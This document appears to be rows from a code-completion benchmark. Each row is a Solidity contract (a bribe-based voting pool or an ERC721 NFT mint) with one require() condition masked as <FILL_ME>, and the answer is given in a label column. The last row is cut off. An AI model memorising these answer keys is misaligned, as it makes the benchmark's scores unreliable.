comment
stringlengths 1
211
β | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Not a briber" | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "./esLSD.sol";
contract Votes is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableSet for EnumerableSet.UintSet;
/* ========== STATE VARIABLES ========== */
address public votingToken;
Counters.Counter private _nextVotingPoolId;
EnumerableSet.UintSet private _votingPoolIds;
mapping(uint256 => VotingPool) private _votingPools;
mapping(uint256 => uint256) private _totalVotes;
mapping(uint256 => mapping(address => uint256)) private _userVotes;
EnumerableSet.AddressSet private _bribersSet;
mapping(uint256 => uint256) public bribeRewardsPerToken;
mapping(uint256 => mapping(address => uint256)) public userBribeRewardsPerTokenPaid;
mapping(uint256 => mapping(address => uint256)) public userBribeRewards;
struct VotingPool {
uint256 id;
bool deprecated;
string name;
address bribeToken;
}
struct BatchVoteParams {
uint256 poolId;
uint256 amount;
}
/* ========== CONSTRUCTOR ========== */
constructor(
address _votingToken
) Ownable() {
}
/* ========== VIEWS ========== */
function getVotingPool(uint256 poolId) public view returns (VotingPool memory) {
}
function getAllVotingPools(bool activeOnly) public view returns (VotingPool[] memory) {
}
function totalVotes(uint256 poolId) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function userVotes(uint256 poolId, address account) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function bribeRewardsEarned(uint256 poolId, address account) public view onlyValidVotingPool(poolId, false) returns (uint256) {
}
/// @dev No guarantees are made on the ordering
function bribers() public view returns (address[] memory) {
}
/* ========== MUTATIVE FUNCTIONS ========== */
function vote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, true) {
}
function batchVote(BatchVoteParams[] calldata votes) external {
}
function unvote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function unvoteAll() external {
}
function getBribeRewards(uint256 poolId) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function getAllBribeRewards() external {
}
/* ========== RESTRICTED FUNCTIONS ========== */
function addVotingPool(string memory name, address bribeToken) external nonReentrant onlyOwner {
}
function deprecateVotingPool(uint256 poolId, bool deprecated) external nonReentrant onlyOwner {
}
function addBriber(address briber) public nonReentrant onlyOwner {
}
function removeBriber(address briber) public nonReentrant onlyOwner {
require(<FILL_ME>)
require(_bribersSet.remove(briber), "Failed to remove briber");
emit BriberRemoved(briber);
}
function bribe(uint256 poolId, uint256 bribeAmount) external nonReentrant updateBribeAmounts(poolId, address(0)) onlyValidVotingPool(poolId, true) onlyBriber {
}
/* ========== MODIFIERS ========== */
modifier onlyBriber() {
}
modifier onlyValidVotingPool(uint256 poolId, bool active) {
}
modifier updateBribeAmounts(uint256 poolId, address account) {
}
/* ========== EVENTS ========== */
event Voted(uint256 indexed poolId, address indexed user, uint256 amount);
event Unvoted(uint256 indexed poolId, address indexed user, uint256 amount);
event BribeRewardsPaid(uint256 indexed poolId, address indexed user, uint256 reward);
event BribeRewardsAdded(uint256 indexed poolId, address indexed briber, uint256 bribeAmount);
event VotingPoolAdded(uint256 indexed poolId, string name, address bribeToken);
event VotingPoolDeprecated(uint256 indexed poolId, bool deprecated);
event BriberAdded(address indexed briber);
event BriberRemoved(address indexed rewarder);
}
| _bribersSet.contains(briber),"Not a briber" | 154,895 | _bribersSet.contains(briber) |
"Failed to remove briber" | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "./esLSD.sol";
contract Votes is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableSet for EnumerableSet.UintSet;
/* ========== STATE VARIABLES ========== */
address public votingToken;
Counters.Counter private _nextVotingPoolId;
EnumerableSet.UintSet private _votingPoolIds;
mapping(uint256 => VotingPool) private _votingPools;
mapping(uint256 => uint256) private _totalVotes;
mapping(uint256 => mapping(address => uint256)) private _userVotes;
EnumerableSet.AddressSet private _bribersSet;
mapping(uint256 => uint256) public bribeRewardsPerToken;
mapping(uint256 => mapping(address => uint256)) public userBribeRewardsPerTokenPaid;
mapping(uint256 => mapping(address => uint256)) public userBribeRewards;
struct VotingPool {
uint256 id;
bool deprecated;
string name;
address bribeToken;
}
struct BatchVoteParams {
uint256 poolId;
uint256 amount;
}
/* ========== CONSTRUCTOR ========== */
constructor(
address _votingToken
) Ownable() {
}
/* ========== VIEWS ========== */
function getVotingPool(uint256 poolId) public view returns (VotingPool memory) {
}
function getAllVotingPools(bool activeOnly) public view returns (VotingPool[] memory) {
}
function totalVotes(uint256 poolId) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function userVotes(uint256 poolId, address account) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function bribeRewardsEarned(uint256 poolId, address account) public view onlyValidVotingPool(poolId, false) returns (uint256) {
}
/// @dev No guarantees are made on the ordering
function bribers() public view returns (address[] memory) {
}
/* ========== MUTATIVE FUNCTIONS ========== */
function vote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, true) {
}
function batchVote(BatchVoteParams[] calldata votes) external {
}
function unvote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function unvoteAll() external {
}
function getBribeRewards(uint256 poolId) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function getAllBribeRewards() external {
}
/* ========== RESTRICTED FUNCTIONS ========== */
function addVotingPool(string memory name, address bribeToken) external nonReentrant onlyOwner {
}
function deprecateVotingPool(uint256 poolId, bool deprecated) external nonReentrant onlyOwner {
}
function addBriber(address briber) public nonReentrant onlyOwner {
}
function removeBriber(address briber) public nonReentrant onlyOwner {
require(_bribersSet.contains(briber), "Not a briber");
require(<FILL_ME>)
emit BriberRemoved(briber);
}
function bribe(uint256 poolId, uint256 bribeAmount) external nonReentrant updateBribeAmounts(poolId, address(0)) onlyValidVotingPool(poolId, true) onlyBriber {
}
/* ========== MODIFIERS ========== */
modifier onlyBriber() {
}
modifier onlyValidVotingPool(uint256 poolId, bool active) {
}
modifier updateBribeAmounts(uint256 poolId, address account) {
}
/* ========== EVENTS ========== */
event Voted(uint256 indexed poolId, address indexed user, uint256 amount);
event Unvoted(uint256 indexed poolId, address indexed user, uint256 amount);
event BribeRewardsPaid(uint256 indexed poolId, address indexed user, uint256 reward);
event BribeRewardsAdded(uint256 indexed poolId, address indexed briber, uint256 bribeAmount);
event VotingPoolAdded(uint256 indexed poolId, string name, address bribeToken);
event VotingPoolDeprecated(uint256 indexed poolId, bool deprecated);
event BriberAdded(address indexed briber);
event BriberRemoved(address indexed rewarder);
}
| _bribersSet.remove(briber),"Failed to remove briber" | 154,895 | _bribersSet.remove(briber) |
"No votes yet" | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "./esLSD.sol";
contract Votes is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableSet for EnumerableSet.UintSet;
/* ========== STATE VARIABLES ========== */
address public votingToken;
Counters.Counter private _nextVotingPoolId;
EnumerableSet.UintSet private _votingPoolIds;
mapping(uint256 => VotingPool) private _votingPools;
mapping(uint256 => uint256) private _totalVotes;
mapping(uint256 => mapping(address => uint256)) private _userVotes;
EnumerableSet.AddressSet private _bribersSet;
mapping(uint256 => uint256) public bribeRewardsPerToken;
mapping(uint256 => mapping(address => uint256)) public userBribeRewardsPerTokenPaid;
mapping(uint256 => mapping(address => uint256)) public userBribeRewards;
struct VotingPool {
uint256 id;
bool deprecated;
string name;
address bribeToken;
}
struct BatchVoteParams {
uint256 poolId;
uint256 amount;
}
/* ========== CONSTRUCTOR ========== */
constructor(
address _votingToken
) Ownable() {
}
/* ========== VIEWS ========== */
function getVotingPool(uint256 poolId) public view returns (VotingPool memory) {
}
function getAllVotingPools(bool activeOnly) public view returns (VotingPool[] memory) {
}
function totalVotes(uint256 poolId) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function userVotes(uint256 poolId, address account) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function bribeRewardsEarned(uint256 poolId, address account) public view onlyValidVotingPool(poolId, false) returns (uint256) {
}
/// @dev No guarantees are made on the ordering
function bribers() public view returns (address[] memory) {
}
/* ========== MUTATIVE FUNCTIONS ========== */
function vote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, true) {
}
function batchVote(BatchVoteParams[] calldata votes) external {
}
function unvote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function unvoteAll() external {
}
function getBribeRewards(uint256 poolId) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function getAllBribeRewards() external {
}
/* ========== RESTRICTED FUNCTIONS ========== */
function addVotingPool(string memory name, address bribeToken) external nonReentrant onlyOwner {
}
function deprecateVotingPool(uint256 poolId, bool deprecated) external nonReentrant onlyOwner {
}
function addBriber(address briber) public nonReentrant onlyOwner {
}
function removeBriber(address briber) public nonReentrant onlyOwner {
}
function bribe(uint256 poolId, uint256 bribeAmount) external nonReentrant updateBribeAmounts(poolId, address(0)) onlyValidVotingPool(poolId, true) onlyBriber {
require(bribeAmount > 0, "Bribe amount should be greater than 0");
require(<FILL_ME>)
VotingPool storage pool = _votingPools[poolId];
IERC20(pool.bribeToken).safeTransferFrom(_msgSender(), address(this), bribeAmount);
bribeRewardsPerToken[poolId] = bribeRewardsPerToken[poolId].add(bribeAmount.mul(1e18).div(_totalVotes[poolId]));
emit BribeRewardsAdded(poolId, _msgSender(), bribeAmount);
}
/* ========== MODIFIERS ========== */
modifier onlyBriber() {
}
modifier onlyValidVotingPool(uint256 poolId, bool active) {
}
modifier updateBribeAmounts(uint256 poolId, address account) {
}
/* ========== EVENTS ========== */
event Voted(uint256 indexed poolId, address indexed user, uint256 amount);
event Unvoted(uint256 indexed poolId, address indexed user, uint256 amount);
event BribeRewardsPaid(uint256 indexed poolId, address indexed user, uint256 reward);
event BribeRewardsAdded(uint256 indexed poolId, address indexed briber, uint256 bribeAmount);
event VotingPoolAdded(uint256 indexed poolId, string name, address bribeToken);
event VotingPoolDeprecated(uint256 indexed poolId, bool deprecated);
event BriberAdded(address indexed briber);
event BriberRemoved(address indexed rewarder);
}
| _totalVotes[poolId]>0,"No votes yet" | 154,895 | _totalVotes[poolId]>0 |
"Not a briber" | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "./esLSD.sol";
contract Votes is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableSet for EnumerableSet.UintSet;
/* ========== STATE VARIABLES ========== */
address public votingToken;
Counters.Counter private _nextVotingPoolId;
EnumerableSet.UintSet private _votingPoolIds;
mapping(uint256 => VotingPool) private _votingPools;
mapping(uint256 => uint256) private _totalVotes;
mapping(uint256 => mapping(address => uint256)) private _userVotes;
EnumerableSet.AddressSet private _bribersSet;
mapping(uint256 => uint256) public bribeRewardsPerToken;
mapping(uint256 => mapping(address => uint256)) public userBribeRewardsPerTokenPaid;
mapping(uint256 => mapping(address => uint256)) public userBribeRewards;
struct VotingPool {
uint256 id;
bool deprecated;
string name;
address bribeToken;
}
struct BatchVoteParams {
uint256 poolId;
uint256 amount;
}
/* ========== CONSTRUCTOR ========== */
constructor(
address _votingToken
) Ownable() {
}
/* ========== VIEWS ========== */
function getVotingPool(uint256 poolId) public view returns (VotingPool memory) {
}
function getAllVotingPools(bool activeOnly) public view returns (VotingPool[] memory) {
}
function totalVotes(uint256 poolId) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function userVotes(uint256 poolId, address account) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function bribeRewardsEarned(uint256 poolId, address account) public view onlyValidVotingPool(poolId, false) returns (uint256) {
}
/// @dev No guarantees are made on the ordering
function bribers() public view returns (address[] memory) {
}
/* ========== MUTATIVE FUNCTIONS ========== */
function vote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, true) {
}
function batchVote(BatchVoteParams[] calldata votes) external {
}
function unvote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function unvoteAll() external {
}
function getBribeRewards(uint256 poolId) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function getAllBribeRewards() external {
}
/* ========== RESTRICTED FUNCTIONS ========== */
function addVotingPool(string memory name, address bribeToken) external nonReentrant onlyOwner {
}
function deprecateVotingPool(uint256 poolId, bool deprecated) external nonReentrant onlyOwner {
}
function addBriber(address briber) public nonReentrant onlyOwner {
}
function removeBriber(address briber) public nonReentrant onlyOwner {
}
function bribe(uint256 poolId, uint256 bribeAmount) external nonReentrant updateBribeAmounts(poolId, address(0)) onlyValidVotingPool(poolId, true) onlyBriber {
}
/* ========== MODIFIERS ========== */
modifier onlyBriber() {
require(<FILL_ME>)
_;
}
modifier onlyValidVotingPool(uint256 poolId, bool active) {
}
modifier updateBribeAmounts(uint256 poolId, address account) {
}
/* ========== EVENTS ========== */
event Voted(uint256 indexed poolId, address indexed user, uint256 amount);
event Unvoted(uint256 indexed poolId, address indexed user, uint256 amount);
event BribeRewardsPaid(uint256 indexed poolId, address indexed user, uint256 reward);
event BribeRewardsAdded(uint256 indexed poolId, address indexed briber, uint256 bribeAmount);
event VotingPoolAdded(uint256 indexed poolId, string name, address bribeToken);
event VotingPoolDeprecated(uint256 indexed poolId, bool deprecated);
event BriberAdded(address indexed briber);
event BriberRemoved(address indexed rewarder);
}
| _bribersSet.contains(_msgSender()),"Not a briber" | 154,895 | _bribersSet.contains(_msgSender()) |
"Voting pool deprecated" | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "./esLSD.sol";
contract Votes is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableSet for EnumerableSet.UintSet;
/* ========== STATE VARIABLES ========== */
address public votingToken;
Counters.Counter private _nextVotingPoolId;
EnumerableSet.UintSet private _votingPoolIds;
mapping(uint256 => VotingPool) private _votingPools;
mapping(uint256 => uint256) private _totalVotes;
mapping(uint256 => mapping(address => uint256)) private _userVotes;
EnumerableSet.AddressSet private _bribersSet;
mapping(uint256 => uint256) public bribeRewardsPerToken;
mapping(uint256 => mapping(address => uint256)) public userBribeRewardsPerTokenPaid;
mapping(uint256 => mapping(address => uint256)) public userBribeRewards;
struct VotingPool {
uint256 id;
bool deprecated;
string name;
address bribeToken;
}
struct BatchVoteParams {
uint256 poolId;
uint256 amount;
}
/* ========== CONSTRUCTOR ========== */
constructor(
address _votingToken
) Ownable() {
}
/* ========== VIEWS ========== */
function getVotingPool(uint256 poolId) public view returns (VotingPool memory) {
}
function getAllVotingPools(bool activeOnly) public view returns (VotingPool[] memory) {
}
function totalVotes(uint256 poolId) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function userVotes(uint256 poolId, address account) external view onlyValidVotingPool(poolId, false) returns (uint256) {
}
function bribeRewardsEarned(uint256 poolId, address account) public view onlyValidVotingPool(poolId, false) returns (uint256) {
}
/// @dev No guarantees are made on the ordering
function bribers() public view returns (address[] memory) {
}
/* ========== MUTATIVE FUNCTIONS ========== */
function vote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, true) {
}
function batchVote(BatchVoteParams[] calldata votes) external {
}
function unvote(uint256 poolId, uint256 amount) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function unvoteAll() external {
}
function getBribeRewards(uint256 poolId) public nonReentrant updateBribeAmounts(poolId, _msgSender()) onlyValidVotingPool(poolId, false) {
}
function getAllBribeRewards() external {
}
/* ========== RESTRICTED FUNCTIONS ========== */
function addVotingPool(string memory name, address bribeToken) external nonReentrant onlyOwner {
}
function deprecateVotingPool(uint256 poolId, bool deprecated) external nonReentrant onlyOwner {
}
function addBriber(address briber) public nonReentrant onlyOwner {
}
function removeBriber(address briber) public nonReentrant onlyOwner {
}
function bribe(uint256 poolId, uint256 bribeAmount) external nonReentrant updateBribeAmounts(poolId, address(0)) onlyValidVotingPool(poolId, true) onlyBriber {
}
/* ========== MODIFIERS ========== */
modifier onlyBriber() {
}
modifier onlyValidVotingPool(uint256 poolId, bool active) {
require(_votingPoolIds.contains(poolId), "Invalid voting pool");
if (active) {
require(<FILL_ME>)
}
_;
}
modifier updateBribeAmounts(uint256 poolId, address account) {
}
/* ========== EVENTS ========== */
event Voted(uint256 indexed poolId, address indexed user, uint256 amount);
event Unvoted(uint256 indexed poolId, address indexed user, uint256 amount);
event BribeRewardsPaid(uint256 indexed poolId, address indexed user, uint256 reward);
event BribeRewardsAdded(uint256 indexed poolId, address indexed briber, uint256 bribeAmount);
event VotingPoolAdded(uint256 indexed poolId, string name, address bribeToken);
event VotingPoolDeprecated(uint256 indexed poolId, bool deprecated);
event BriberAdded(address indexed briber);
event BriberRemoved(address indexed rewarder);
}
| !_votingPools[poolId].deprecated,"Voting pool deprecated" | 154,895 | !_votingPools[poolId].deprecated |
'ERC721X: maxTokenSupply exceeded' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/// @title ERC721X
/// @author cesargdm.eth
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/token/common/ERC2981.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol';
contract ERC721X is ERC721A, Ownable, ReentrancyGuard, ERC2981 {
using Strings for uint256;
enum MintPhase {
Idle,
Private,
Public
}
MintPhase public mintPhase = MintPhase.Idle;
uint256 public immutable costPerPublicMint;
uint256 public immutable costPerPrivateMint;
uint256 public immutable maxPerWalletPrivateMint;
uint256 public immutable maxPerTx;
uint256 public immutable maxTokenSupply;
string public tokenURIPrefix;
string private constant tokenURIPostfix = '.json';
string public contractURI;
bytes32 public merkleRoot;
/**
* @param _name Collection name (immutable)
* @param _symbol Collection symbol (immutable)
* @param _maxTokenSupply How many tokens can be minted (immutable)
* @param _costPerPublicMint Cost per public token mint in wei (immutable)
* @param _costPerPrivateMint Cost per private token mint cost in wei (immutable)
* @param _maxPerTx How many token can be minted in a transaction (immutable)
* @param _maxPerWalletPrivateMint A limitation per wallet (immutable)
* @param _defaultRoyalty Default basis points of the default royalty for ERC2981,
* by default the owner will be the benefeciary
* @param _tokenURIPrefix Base URI for metadata
*/
constructor(
string memory _name,
string memory _symbol,
uint256 _maxTokenSupply,
uint256 _costPerPublicMint,
uint256 _costPerPrivateMint,
uint256 _maxPerTx,
uint256 _maxPerWalletPrivateMint,
uint96 _defaultRoyalty,
string memory _tokenURIPrefix,
string memory _contractURI
) ERC721A(_name, _symbol) {
}
/*
M O D I F I E R S
*/
/**
* @notice Ensure function cannot be called outside of a given mint phase
* @param _mintPhase Correct mint phase for function to execute
*/
modifier inMintPhase(MintPhase _mintPhase) {
}
/**
* @notice Ensure mint complies to amount, maxPerTx and maxTokenSupply restrictions
* @param _amount Amount of tokens to mint
*/
modifier verifyMint(uint256 _amount) {
require(_amount > 0, 'ERC721X: amount invalid');
require(_amount < maxPerTx, 'ERC721X: maxPerTx exceeded');
// Check total supply is not exceeded
require(<FILL_ME>)
_;
}
/*
M I N T
*/
/**
* @notice Requires Public mint phase
* @dev Mint a new token for the given address.
* @param _amount The amount of tokens to mint.
*/
function publicMint(uint256 _amount)
external
payable
nonReentrant
inMintPhase(MintPhase.Public)
verifyMint(_amount)
{
}
/**
* @notice Requires Private mint phase
* @param _amount Number of tokens to mint
* @param _proof Merkle proof to verify msg.sender is part of the presaleList
*/
function privateMint(uint256 _amount, bytes32[] calldata _proof)
external
payable
nonReentrant
inMintPhase(MintPhase.Private)
verifyMint(_amount)
{
}
/*
G E T T E R S
*/
/**
* @dev Override default tokenURI logic to append .json extension
*/
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/*
S E T T E R S
*/
/**
* @notice Set the presaleList Merkle root in contract storage
* @notice Only callable by owner
* @param _merkleRoot New Merkle root hash
*/
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Set the state machine mint phase
* @notice Only callable by owner
* @param _mintPhase New mint phase
*/
function setMintPhase(MintPhase _mintPhase) external onlyOwner {
}
/**
* @notice Set contract tokenURIPrefix
* @notice Only callable by owner
* @param _tokenURIPrefix New tokenURIPrefix
*/
function setBaseTokenURI(string calldata _tokenURIPrefix) external onlyOwner {
}
/**
* @notice Set contract collectionURI
* @notice Only callable by owner
* @param _contractURI New collectionURI
*/
function setContractURI(string calldata _contractURI) external onlyOwner {
}
/**
* @notice Only callable by owner
* @dev Changes the global royalty default.
* @param _address New default royalty beneficiary address.
* @param _defaultRoyalty New default royalty value in basis points
*/
function setDefaultRoyalty(address _address, uint96 _defaultRoyalty)
external
onlyOwner
{
}
/**
* @notice Only callable by owner
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint96 _feeNumerator
) external onlyOwner {
}
/**
* @notice Only callable by owner
* @dev Resets royalty information for the token id back to the global default.
*/
function resetTokenRoyalty(uint256 _tokenId) external onlyOwner {
}
/*
A D M I N
*/
/**
* @notice Withdraw all current funds to the contract owner address
* @notice Only callable by owner
* @dev `transfer` and `send` assume constant gas prices. This function
* is onlyOwner, so we accept the reentrancy risk that `.call.value` carries.
*/
function withdraw() external onlyOwner {
}
/*
U T I L I T I E S
*/
/**
* @notice Increment number of presaleList token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint32, which will not be an issue as
* mint quantity should never be greater than 2^32 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (public and presaleList redemptions) we need to pack and unpack two uint32s into a single uint256.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsAllowlist(uint256 _numToIncrement) private {
}
/**
* @dev Set token id start at 1, default is 0
*/
function _startTokenId() internal pure override returns (uint256) {
}
/**
* @dev Override to support IERC2981 and ERC721A interface
*/
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC2981, ERC721A)
returns (bool)
{
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
| _totalMinted()+_amount<maxTokenSupply,'ERC721X: maxTokenSupply exceeded' | 154,896 | _totalMinted()+_amount<maxTokenSupply |
'ERC721X: maxPerWalletPrivateMint exceeded' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/// @title ERC721X
/// @author cesargdm.eth
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/token/common/ERC2981.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol';
contract ERC721X is ERC721A, Ownable, ReentrancyGuard, ERC2981 {
using Strings for uint256;
enum MintPhase {
Idle,
Private,
Public
}
MintPhase public mintPhase = MintPhase.Idle;
uint256 public immutable costPerPublicMint;
uint256 public immutable costPerPrivateMint;
uint256 public immutable maxPerWalletPrivateMint;
uint256 public immutable maxPerTx;
uint256 public immutable maxTokenSupply;
string public tokenURIPrefix;
string private constant tokenURIPostfix = '.json';
string public contractURI;
bytes32 public merkleRoot;
/**
* @param _name Collection name (immutable)
* @param _symbol Collection symbol (immutable)
* @param _maxTokenSupply How many tokens can be minted (immutable)
* @param _costPerPublicMint Cost per public token mint in wei (immutable)
* @param _costPerPrivateMint Cost per private token mint cost in wei (immutable)
* @param _maxPerTx How many token can be minted in a transaction (immutable)
* @param _maxPerWalletPrivateMint A limitation per wallet (immutable)
* @param _defaultRoyalty Default basis points of the default royalty for ERC2981,
* by default the owner will be the benefeciary
* @param _tokenURIPrefix Base URI for metadata
*/
constructor(
string memory _name,
string memory _symbol,
uint256 _maxTokenSupply,
uint256 _costPerPublicMint,
uint256 _costPerPrivateMint,
uint256 _maxPerTx,
uint256 _maxPerWalletPrivateMint,
uint96 _defaultRoyalty,
string memory _tokenURIPrefix,
string memory _contractURI
) ERC721A(_name, _symbol) {
}
/*
M O D I F I E R S
*/
/**
* @notice Ensure function cannot be called outside of a given mint phase
* @param _mintPhase Correct mint phase for function to execute
*/
modifier inMintPhase(MintPhase _mintPhase) {
}
/**
* @notice Ensure mint complies to amount, maxPerTx and maxTokenSupply restrictions
* @param _amount Amount of tokens to mint
*/
modifier verifyMint(uint256 _amount) {
}
/*
M I N T
*/
/**
* @notice Requires Public mint phase
* @dev Mint a new token for the given address.
* @param _amount The amount of tokens to mint.
*/
function publicMint(uint256 _amount)
external
payable
nonReentrant
inMintPhase(MintPhase.Public)
verifyMint(_amount)
{
}
/**
* @notice Requires Private mint phase
* @param _amount Number of tokens to mint
* @param _proof Merkle proof to verify msg.sender is part of the presaleList
*/
function privateMint(uint256 _amount, bytes32[] calldata _proof)
external
payable
nonReentrant
inMintPhase(MintPhase.Private)
verifyMint(_amount)
{
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
//// CHECKS ////
require(
MerkleProof.verify(_proof, merkleRoot, leaf),
'ERC721X: proof invalid'
);
require(<FILL_ME>)
//// EFFECTS ////
incrementRedemptionsAllowlist(_amount);
//// INTERACTIONS ////
_safeMint(msg.sender, _amount);
}
/*
G E T T E R S
*/
/**
* @dev Override default tokenURI logic to append .json extension
*/
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/*
S E T T E R S
*/
/**
* @notice Set the presaleList Merkle root in contract storage
* @notice Only callable by owner
* @param _merkleRoot New Merkle root hash
*/
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Set the state machine mint phase
* @notice Only callable by owner
* @param _mintPhase New mint phase
*/
function setMintPhase(MintPhase _mintPhase) external onlyOwner {
}
/**
* @notice Set contract tokenURIPrefix
* @notice Only callable by owner
* @param _tokenURIPrefix New tokenURIPrefix
*/
function setBaseTokenURI(string calldata _tokenURIPrefix) external onlyOwner {
}
/**
* @notice Set contract collectionURI
* @notice Only callable by owner
* @param _contractURI New collectionURI
*/
function setContractURI(string calldata _contractURI) external onlyOwner {
}
/**
